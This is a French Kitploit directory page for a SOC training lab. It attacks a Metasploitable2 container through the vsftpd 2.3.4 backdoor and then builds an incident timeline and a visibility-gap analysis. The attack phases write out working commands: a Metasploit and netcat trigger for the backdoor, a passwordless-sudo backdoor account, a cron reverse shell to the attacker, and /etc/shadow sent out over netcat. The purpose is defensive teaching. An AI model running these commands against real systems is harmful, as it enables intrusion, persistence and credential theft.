Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
soc-investigation-lab — Investigation SOC de bout en bout : kill chain CVE-2011-2523, corrélation de logs multi-sources, rapport d'incident — MITRE ATT&CK T1190 | Kitploit
Outils/GitHubGitHub/mithileshan/soc-investigation-lab
ReconnaissanceAnalyse des VulnérabilitésExploitationAnalyse ForensiquePost-ExploitationTests d'IntrusionRenseignement sur les MenacesApprentissage et ÉducationRéponse aux Incidents

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Analyse de Journaux
Labs et Pratique
GitHubmithileshan/soc-investigation-lab

soc-investigation-lab

Investigation SOC de bout en bout : kill chain CVE-2011-2523, corrélation de logs multi-sources, rapport d'incident — MITRE ATT&CK T1190

Voir le dépôt
il y a 3 moisPas encore vérifié
Partager

Laboratoire d'investigation SOC de bout en bout

Exécute une chaîne d'attaque complète en quatre phases (Reconnaissance → Exploitation → Persistance → Exfiltration) contre Metasploitable2, collecte des preuves à chaque phase et produit une chronologie d'incident structurée et un rapport SOC — démontrant une réflexion simultanée d'attaquant et de défenseur.

MITRE ATT&CK T1190 MITRE ATT&CK T1136 MITRE ATT&CK T1078 MITRE ATT&CK T1041 Python


Objectif

Ceci est le projet de synthèse. Il démontre la capacité à :

  • Exécuter une chaîne de destruction réaliste contre une cible délibérément vulnérable
  • Collecter des preuves forensiques à chaque étape en utilisant plusieurs sources de télémétrie
  • Corréler les entrées de journaux de systèmes disparates en une chronologie d'incident unifiée
  • Effectuer une analyse des lacunes de visibilité — en identifiant ce qui aurait été manqué sans une couverture de détection adéquate
  • Produire un rapport d'incident de niveau SOC dans le format utilisé par les équipes de sécurité réelles

L'exploit utilisé (CVE-2011-2523 — backdoor vsftpd 2.3.4) est historiquement significatif : il s'agissait d'une attaque de la chaîne d'approvisionnement où un adversaire a injecté une porte dérobée dans le dépôt source du paquet open-source vsftpd.

Télécharger l’outil

Architecture

root@kitploit:~
                    ╔═══════════════════════════════╗
                    ║  soc-lab (172.23.0.0/24)       ║
                    ║                               ║
┌─────────────┐     ║  ┌─────────────────────────┐  ║
│  Attacker   │     ║  │  Metasploitable2        │  ║
│  Kali Linux │     ║  │  172.23.0.200           │  ║
│             │     ║  │                         │  ║
│  Phase 1    │─────╫─►│  :21  vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│  nmap -A    │     ║  │  :22  SSH               │  ║    backdoor on :6200
│             │     ║  │  :80  HTTP (DVWA)        │  ║
│  Phase 2    │─────╫─►│  :445 Samba             │  ║
│  msf exploit│◄────╫──│  :6200 root shell       │  ║
│             │     ║  └─────────────────────────┘  ║
│  Phase 3    │─────╫─► useradd sysbackup           ║
│  persistence│─────╫─► crontab reverse shell       ║
│             │     ║                               ║
│  Phase 4    │◄────╫── /etc/shadow via nc :5555    ║
│  exfiltration     ╚═══════════════════════════════╝
└──────┬──────┘
       │
       │ Evidence collection:
       │  logs/msf_session.log
       │  logs/target_auth.log
       │  captures/full_attack_chain.pcap (tshark CSV)
       ▼
┌──────────────────────────────────────────────────┐
│  build_timeline.py                               │
│  Parser: MSF log + auth.log + tshark CSV         │
│  → merge by timestamp → tag by phase             │
│  → JSON timeline + Markdown incident report      │
└──────────────────────────────────────────────────┘

Outils et Stack

OutilObjectif
Metasploitable2Cible Linux délibérément vulnérable
Nmap 7.94Phase 1 : Énumération des services
Metasploit 6.xPhase 2 : Exploit vsftpd 2.3.4
NetcatPhases 3–4 : Persistance + exfiltration
tsharkCapture de paquets tout au long de toutes les phases
Python 3build_timeline.py — fusionneur de journaux multi-sources
Splunk Free / ELKDétection SIEM spécifique à chaque phase

Configuration

root@kitploit:~
cd docker/

# Start Metasploitable2 (isolated network)
docker compose up -d metasploitable

# Verify target is reachable
nmap -p 21,22,80 172.23.0.200

# Start background packet capture
sudo tcpdump -i eth0 host 172.23.0.200 \
    -w captures/full_attack_chain.pcap &

Comment exécuter (Chaîne d'attaque)

Phase 1 — Reconnaissance

root@kitploit:~
nmap -sV -O -A \
    -p 21,22,80,139,445,3306,5432 \
    --script=banner,ftp-anon,http-title \
    -oX logs/recon_scan.xml \
    172.23.0.200

Résultat clé : 21/tcp open ftp vsftpd 2.3.4

Phase 2 — Exploitation (CVE-2011-2523)

root@kitploit:~
# Method A: Metasploit
msfconsole -q -x "
  use exploit/unix/ftp/vsftpd_234_backdoor;
  set RHOSTS 172.23.0.200;
  set PAYLOAD cmd/unix/interact;
  run" | tee logs/msf_session.log

# Method B: Manual (demonstrates the mechanism)
# Step 1: Trigger backdoor by sending username with ':)'
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# Step 2: Connect to spawned root shell
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)

Pourquoi cela fonctionne : Lorsque vsftpd 2.3.4 reçoit un nom d'utilisateur contenant la sous-chaîne :), le démon exécute execl("/bin/sh",...) lié au port TCP 6200. Aucune authentification requise — shell root direct.

Phase 3 — Persistance

root@kitploit:~
# Execute in the root shell on target:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -

Phase 4 — Exfiltration

root@kitploit:~
# Receiver (attacker)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt

# Sender (on target)
cat /etc/shadow | nc 172.23.0.1 5555

Construire la chronologie de l'incident

root@kitploit:~
# Convert PCAP to CSV first
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap

# Build timeline from all sources
python3 src/build_timeline.py \
    --msf-log  logs/msf_session.log \
    --auth-log logs/target_auth.log \
    --pcap-csv captures/full_attack_chain_packets.csv \
    --output-json samples/timeline.json \
    --output-md   docs/incident_report.md \
    --pretty

Exemple de sortie

build_timeline.py stderr

root@kitploit:~
2026-04-24T16:05:20  [INFO    ]  Parsed 9 events from MSF log
2026-04-24T16:05:20  [INFO    ]  Parsed 11 events from auth.log
2026-04-24T16:05:20  [INFO    ]  Parsed 4 flow-initiation events from PCAP CSV
2026-04-24T16:05:20  [INFO    ]  Total events (sorted): 24
2026-04-24T16:05:20  [INFO    ]  Unique IOCs extracted: 4
2026-04-24T16:05:20  [INFO    ]  Phase RECON   : 8 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase EXPLOIT : 4 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase PERSIST : 6 event(s)
2026-04-24T16:05:20  [INFO    ]  Phase EXFIL   : 2 event(s)

Chronologie de l'incident (extrait de samples/sample_timeline.json)

root@kitploit:~
{
  "total_events": 24,
  "iocs": [
    { "indicator": "172.23.0.1", "phase": "RECON",   "occurrence": 8 },
    { "indicator": "172.23.0.1", "phase": "EXPLOIT",  "occurrence": 2 },
    { "indicator": "sysbackup",  "phase": "PERSIST", "occurrence": 1 }
  ],
  "timeline": [
    { "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON",   "description": "nmap -sV -O -A", "source": "metasploit" },
    { "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
    { "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
    { "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL",   "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
  ]
}

Analyse des lacunes de visibilité

Ceci est la sortie analytique la plus importante — ce qui aurait été manqué sans une détection appropriée.

PhasePreuve brute de journalDétecté par règle SIEMManqué sans couverture
RECONPCAP : Inondation SYN vers 24 portsRègle de balayage de ports (>20 ports/10s) ✓Scan lent (-T1) : contourne totalement le seuil de débit
EXPLOITPCAP : nouvelle connexion vers :6200 · Aucune entrée dans auth.logRègle d'anomalie du port :6200 ✓Si l'attaquant utilisait un exploit HTTP sur :80 — pas d'anomalie de port
PERSISTauth.log : new user: name=sysbackupAlerte de création de nouvel utilisateur ✓Modification directe de /etc/passwd : aucun journal sans auditd
EXFILPCAP : 4 Ko sortant sur :5555Règle de port non standard + taille ✓Exfiltration DNS (enregistrements TXT) : contourne totalement les règles de volume

Constat critique : L'exploit vsftpd 2.3.4 ne laisse aucune entrée dans auth.log car il contourne le sous-système de connexion. La seule preuve de journal est la connexion TCP ultérieure au port 6200 — invisible sans télémétrie réseau. Les journaux de terminaux seuls ne peuvent pas détecter cette classe d'attaque.


Limitations et travaux futurs

LimitationImpactAtténuation
vsftpd 2.3.4 est une vulnérabilité de 2011Non représentatif des exploits modernesAjouter EternalBlue (MS17-010) comme scénario d'exploit alternatif
build_timeline.py utilise une classification par mots-clésClasse incorrectement certains événementsEntraîner un classifieur NLP léger sur des données de journaux étiquetées
Aucune détection de point de terminaison (EDR)Persistance au niveau fichier (authorized_keys) non capturéeAjouter Wazuh ou Elastic Agent sur la cible
Exécution manuelle de la chaîne d'attaqueNon reproductible sans intervention interactiveAutomatiser les phases 2 à 4 avec des scripts de ressources Metasploit

Références

RéférenceID / Lien
CVE-2011-2523 — backdoor vsftpd 2.3.4https://nvd.nist.gov/vuln/detail/CVE-2011-2523
MITRE ATT&CK — Exploitation d'application exposée au publicT1190
MITRE ATT&CK — Créer un compte : compte localT1136.001
MITRE ATT&CK — Tâche planifiée/Job : CronT1053.003
MITRE ATT&CK — Exfiltration via canal C2T1041
MITRE ATT&CK — Comptes validesT1078

Structure du projet

root@kitploit:~
04-soc-investigation/
├── src/
│   ├── build_timeline.py      # Multi-source log merger + phase tagger
│   └── run_attack_chain.sh    # Step-by-step attack chain with exact commands
├── configs/
│   └── splunk_detection_rules.spl   # Phase-specific SPL queries (RECON/EXPLOIT/PERSIST/EXFIL)
├── samples/
│   └── sample_timeline.json   # Example incident timeline JSON
├── docker/
│   └── docker-compose.yml     # Metasploitable2 isolated target
├── docs/
│   └── incident_report.md     # Generated SOC report (build_timeline.py --output-md)
└── screenshots/